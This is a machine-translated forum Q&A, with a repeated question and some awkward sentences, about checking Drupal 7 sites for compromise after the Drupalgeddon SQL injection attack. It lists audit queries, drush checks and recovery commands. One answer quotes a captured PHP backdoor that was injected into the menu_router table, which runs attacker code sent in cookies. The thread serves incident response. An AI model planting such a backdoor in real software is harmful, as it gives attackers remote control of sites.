我刚刚使用解决Drupal SA-CORE-2014-005漏洞的补丁方法更新了所有站点。我刚刚读到一些报道,就在昨天,有一个来自俄罗斯IP的渗透到drupal网站的人。
https://www.drupal.org/SA-CORE-2014-005
我现在主要担心的是:
- 如何判断我的网站是否包含在内?
- 我应该在apache访问日志中搜索什么以检测我的站点是否是受害者?
- 到目前为止,这些黑客对组成的网站做了什么?
我刚刚使用解决Drupal SA-CORE-2014-005漏洞的补丁方法更新了所有站点。我刚刚读到一些报道,就在昨天,有一个来自俄罗斯IP的渗透到drupal网站的人。
https://www.drupal.org/SA-CORE-2014-005
我现在主要担心的是:
Answers:
如果您正在阅读本文,并希望在漏洞利用后一个多月检查一下Drupal 7网站,则您的网站很可能已经被黑了。最好的选择是从攻击开始之前恢复备份并从那里开始工作。
如何判断我的网站是否遭到入侵?
快速检查站点是否受到威胁的一种方法是使用Drupalgeddon drush命令。
安装到您~/.drush
的drush dl drupalgeddon
然后使用drush drupalgeddon-test
进行测试。Drush别名使此操作变得简单快捷。
该工具可以确认被利用的站点,但是不能保证您的站点未被利用。除非您在攻击开始之前进行了升级,否则这里没有“干净的卫生单”。
站点审核模块包括来自Drupalgeddon的一些检查,并且还为您提供了更多有用的输入。我强烈推荐它。(编辑:现在他们一起工作-非常好!)
Security Review不会检查Drupalgeddon攻击,但同样值得您使用。
如果您的站点代码库可写给www用户,则可以使用被黑的模块另外检查修改后的代码。仅根据其名称,此模块可能无法完成您的想法:)
虽然没有一种确定所有受损站点的单一方法,但是这些工具可以帮助您识别最常见的迹象。
我应该在apache访问日志中搜索什么以检测我的站点是否是受害者?
到目前为止,您的访问日志将包含很多POST请求。除非您采取了不寻常的步骤来在bug之前记录所有发布数据,否则您不太可能获得信息来判断其中哪些是恶意的。
到目前为止,这些黑客对受感染的站点正在做什么?
许多人报告说他们的网站已被黑客修补!作为攻击者,这很有道理-您不希望新被劫持的站点被下一个攻击者从您的眼中:出来:)
除此之外,我猜站点被用来收获任何有价值的数据是存在的(也许抓住一些creds,也许提升交易细节后利用),并做无聊的事情像发送垃圾邮件和工作身份卑微的奴隶僵尸网络。哦,进一步扩大攻击者被劫持的Drupal网站的帝国。(抱歉,我没有任何可观察的黑客入侵网站。)
对常见攻击进行了一些检查(这不是详尽的清单,但是到目前为止,在野外还可以看到一些攻击):
检查菜单路由器数据库表中是否存在恶意条目。例如(drupal.org上的drupalgeddon模块/ drush插件有一个很好的脚本可以更彻底地检查此表):
SELECT * FROM menu_router WHERE access_callback ='file_put_contents';
您也可以只浏览菜单路由器表以查找外观怪异的条目。
黑客正在尝试做的一些事情是:
不幸的是,攻击者可以对您的数据库执行很多操作,以致于很难给出完整的可能性列表。他们可能会做一些事情,试图让他们控制您的网站,或者可能只是破坏您的网站而删除数据库表或列等。
他们甚至可以对站点配置进行非常小的更改,例如更改您的站点名称或类似的名称,这虽然不是世界末日,但仍然存在问题。
基本上,您可以通过运行SQL命令在数据库中执行任何操作,从理论上讲,攻击者可以执行此操作。
克里斯·伯吉斯(Chris Burgess)的答案中提到的所有模块在检查这些内容时都非常有用。
我认为我会接受drupal.org的建议:“ 您应该假设每个Drupal 7网站都受到了损害,除非在世界标准时间10月15日晚上11点(即发布后7个小时)之前进行了更新或修补。” 正如Bevan在评论中所说的那样:“更新或修补Drupal不能修复攻击者在更新或修补Drupal之前安装的后门程序。”
Bevan还制作了以下工作流程图表,以帮助您分析您是否已被感染以及如何恢复和预防。但是,他要求所有人阅读他的原始文章,以确保您具有最新版本的工作流程。另外,Acquia 撰写了一篇有趣的文章,介绍了他们在Acquia Cloud中经历的攻击和模式
引用自:https : //www.drupal.org/node/2357241#comment-9258955
这是被插入menu_router表的access_callback列中的文件的示例:
a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}
如您所见,它正在尝试创建文件modules / image / vzoh.php,但是由于我在那些目录中只有读取权限,因此php失败。
报告发现有人在您的drupal目录中进行搜索而创建的类似文件的报告:https : //www.drupal.org/node/2357241#comment-9260017
我所做的是执行以下命令:
ack --type = php'php \ $ form'> hacked_searched_php_form1.txt
==================
引用自:http : //www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon
显示实时服务器上已更改的文件:git status
通过menu_router查找代码执行尝试:从menu_router中选择*,其中access_callback ='file_put_contents'
显示哪些文件在实时服务器上,而不在版本控制中:diff -r docroot repo | grep docroot | grep'仅在docroot中'
在files目录中查找PHP文件:find。-path“ * php”
检查从用户登录到您的网站到他们最近的页面访问之间的时间:选择(s.timestamp-u.login)/ 60/60/24 AS days_since_login,来自会话s内部加入用户的u.uid s.uid = u.uid;
很好的命令列表,可以告诉您您是否受到攻击。
http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon
Commands that help with auditing:
Showing files that have changed on the live server:
?
1
git status
Looking for code execution attempts via menu_router:
?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:
?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:
?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:
?
1
find . -path "*php"
Looking for additional roles and users:
?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:
?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;
Commands that can help with recovery:
Apply the patch. Hotfix: (SA-CORE-2014-005)
?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.
?
1
truncate table sessions;
Updating passwords:
?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));